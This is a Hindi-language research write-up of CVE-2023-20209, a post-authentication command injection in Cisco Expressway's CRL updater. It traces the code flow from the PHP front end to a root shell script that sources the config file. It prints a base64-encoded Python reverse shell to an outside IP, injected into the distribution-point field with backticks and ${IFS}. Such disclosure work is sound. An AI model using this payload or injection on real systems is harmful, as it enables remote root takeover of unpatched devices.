
CVE-2023-20209 के लिए विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Cisco Expressway में एक पोस्ट-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन भेद्यता, जिसमें चरण-दर-चरण कोड प्रवाह वॉकथ्रू और शोषण नोट्स शामिल हैं।
मैंने Cisco Expressway को देखना शुरू किया जब मैंने Red Team engagements के दौरान इंटरनेट पर उनमें से काफी कुछ देखा, लेकिन काम के दौरान उत्पाद को और अधिक खोजने के लिए कभी समय नहीं मिला।
शुरू में मैं RCE में जंजीर से जोड़ने के लिए auth bypass की तलाश कर रहा था लेकिन समय समाप्त हो गया और मैंने post auth RCE पर समझौता कर लिया। फ्रंट एंड PHP कोड आगे के शोषण के लिए आशाजनक दिखता है.....
ये CVE-2023-20209 की खोज और विक्रेता सूचना से मेरे नोट्स हैं।
शोषण के बाद प्रक्रिया सूची से शुरू करते हुए हम /sbin/request-crlupdate को कॉल देख सकते हैं:
root 16449 0.0 0.0 7472 4024 ? S Feb18 0:00 bash /sbin/request-crlupdate
root 16451 0.0 0.1 7544 4280 ? S Feb18 0:00 /bin/bash /etc/init.d/crlupdater restart
root 16466 0.0 0.2 14084 11236 ? S Feb18 0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))
अगर हम /sbin/request-crlupdate की सामग्री देखें:
#! /bin/env bash
#
# This script is responsible to updating the CRL automatic updater process
# when configuration is changed
#
# =============================================================================
# Needs to be kept in sync with PHP and updater script
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"
# =============================================================================
# Source for helper functions
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}
# =============================================================================
if [[ -f ${STARTFILE} ]]; then
# Remove the flag file
rm -f ${STARTFILE}
if [[ -f ${LOCK_FILE} ]]; then
do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
touch ${STARTFILE}
# To avoid the possibility of tight loop situation until the lock file is removed,
# let's sleep for a few seconds
sleep 30
else
# Kick the CRL automatic update daemon
/etc/init.d/crlupdater restart
fi
fi
# =============================================================================
हम देख सकते हैं कि यह CRL स्वचालित अद्यतन डेमॉन को कॉल कर रहा है, हालांकि यह स्पष्ट नहीं करता कि हम वहां कैसे पहुंचे। मैंने नीचे कोड प्रवाह को समझने का प्रयास किया।
वेब फ्रंट-एंड के लिए PHP कोड से शुरू करते हुए, /share/web/public/crpupdater.php में, यह सुनिश्चित करने के लिए एक सत्यापन जाँच है कि यह http या https से शुरू होता है:
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
foreach ( $url_list as $line )
{
if ( strlen( $line ) > 0 )
{
if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
{
// Ensure no spaces in the URI
$line = str_replace( " ", "%20", $line );
$crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;
$distribution_point_count++;
}
else
{
$unsupported_distribution_point_seen = true;
}
}
}
फिर यह मेरी राय में वेब सेवा के पीछे पायथन फ्रेमवर्क को सौंप दिया जाता है, सारा पायथन pyc है इसलिए मैं यहां प्रवाह के कुछ हिस्सों को खो देता हूं लेकिन नीचे संकेत देता है।
लगता है कि पायथन /sbin/request-crlupdate पर कॉल करता है
/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc
Class to manage requestd with regards CRL updates
c C s t j j j j j | | ƒ d S( N( RO RV RW RX RY R ( R
RL ( ( sp /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR ? s c C s- t j d ƒ t j j j j j | d ƒ d S( s\
Creates the trigger file for requestd to restart the CRL update daemon
/etc/init.d/crlupdater की सामग्री:
#!/bin/bash
#set -x
#
# Set up automatic CRL updates, if configured
#
readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"
[[ -f /etc/functions ]] && . /etc/functions
start()
{
# #86345
#
# Ensure that the policy services CRL file has the correct
# owner so that the web can update them
chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl
if upgrade_in_progress; then
# Upgrading so let's not go any further
echo "Upgrade in process. Not starting ${SERVICE}"
exit 0
fi
if is_service_up ${SERVICE}; then
# Service already running so let's not go any further
echo "${SERVICE} already running. Not starting"
exit 0
fi
echo "Starting ${SERVICE}"
local readonly script="/bin/crl_updater"
# Need to be kept in sync with PHP and script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
# Ensure we have the correct directories
local readonly certificates_base="/mnt/harddisk/certificates"
local readonly crl_directory="${certificates_base}/crl"
if [[ ! -d ${crl_directory} ]]; then
mkdir -p ${crl_directory}
fi
if [[ -s ${config_file} ]]; then
. "${config_file}"
if [[ ${auto_updates} == "true" ]]; then
# Check every 600 seconds to see if it is the configured hour
# and then run the script. If the script is run it will wait
# 24 hours before running the script again
/bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
echo $! > ${PID_FILE}
else
# We run the script anyway so that it can perform any clean-up
# required as a result of being disabled
${script} > /dev/null 2>&1 &
fi
fi
}
stop()
{
if is_service_up ${SERVICE}; then
echo "Stopping ${SERVICE}"
kill_pid_file ${SERVICE} ${PID_FILE}
rm -f ${PID_FILE}
fi
}
restart()
{
stop
start
}
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo $"Usage: $0 {start|stop|restart}"
exit 1
;;
esac
यहाँ कुछ महत्वपूर्ण पंक्तियाँ हैं:
local readonly script="/bin/crl_updater"
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
यहाँ शोषण के बाद /tandberg/persistent/certs/crl-update.conf की सामग्री है:
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`
हम ऊपर फ़ाइल में दुर्भावनापूर्ण crl डेटा देख सकते हैं।
/etc/init.d/crpupdater में IF स्टेटमेंट के किसी भी मामले में /bin/crl_updater को निष्पादित करने के लिए कॉल किया जाता है।
इस बिंदु पर /bin/crl_updater के प्रवाह में दुर्भावनापूर्ण कोड निष्पादित होता है:
read_configuration()
{
# Source the configuration file
# Needs to be kept in sync with PHP and init script
local readonly config_file="/tandberg/persistent/certs/crl-update.conf"
local readonly config_separator="="
local readonly distribution_point_prefix="distribution_point"
if [[ -s ${config_file} ]]; then
. "${config_file}"
readonly CRL_UPDATE_MODE="${auto_updates}"
readonly CRL_DISTRIBUTION_POINTS=`cat ${config_file} | while read line; do echo ${line} | grep "${distribution_point_prefix}" | tr "${config_separator}" "\n" | grep -v "${distribution_point_prefix}" ; done`
if [[ ${CRL_UPDATE_MODE} == "true" ]]; then
# Ensure that we have some distribution points configured
if [[ -z "${CRL_DISTRIBUTION_POINTS}" ]]; then
updater_event_logger "ERROR: No CRL distribution points configured"
alarm raise $CONFIG_ALARM
exit_handler 1
fi
fi
else
updater_event_logger "ERROR: CRL updater failed to find configuration file or file is empty"
alarm raise $NO_CONFIG_ALARM
exit_handler 1
fi
}
फिर हमारे दुर्भावनापूर्ण कमांड वाली कॉन्फिग फ़ाइल निम्नलिखित के माध्यम से निष्पादित होती है:
if [[ -s ${config_file} ]]; then
. "${config_file}"
क्योंकि हमारे इंजेक्शन में बैकटिक्स हैं, इसलिए यह निष्पादित हो जाता है, मैंने व्यवहार दिखाने के लिए एक परीक्षण मामला फ़ाइल प्रदान की है:
auto_updates=true
update_hour=11
distribution_point=http://`touch /tmp/test_file`
/test_exec_point फ़ाइल को /bin/crl_updater स्क्रिप्ट के समान तरीके से मैन्युअल रूप से चलाना:
~ # ls -al /tmp/ | grep test_file
~ # . /tmp/test_exec_point
~ # ls -al /tmp/ | grep test_file
-rw-r--r-- 1 root root 0 Feb 20 01:16 test_file
मैंने PoC के लिए एक गंदा और त्वरित शोषण स्क्रिप्ट लिखा, आप इसे नीचे क्रियान्वित देख सकते हैं
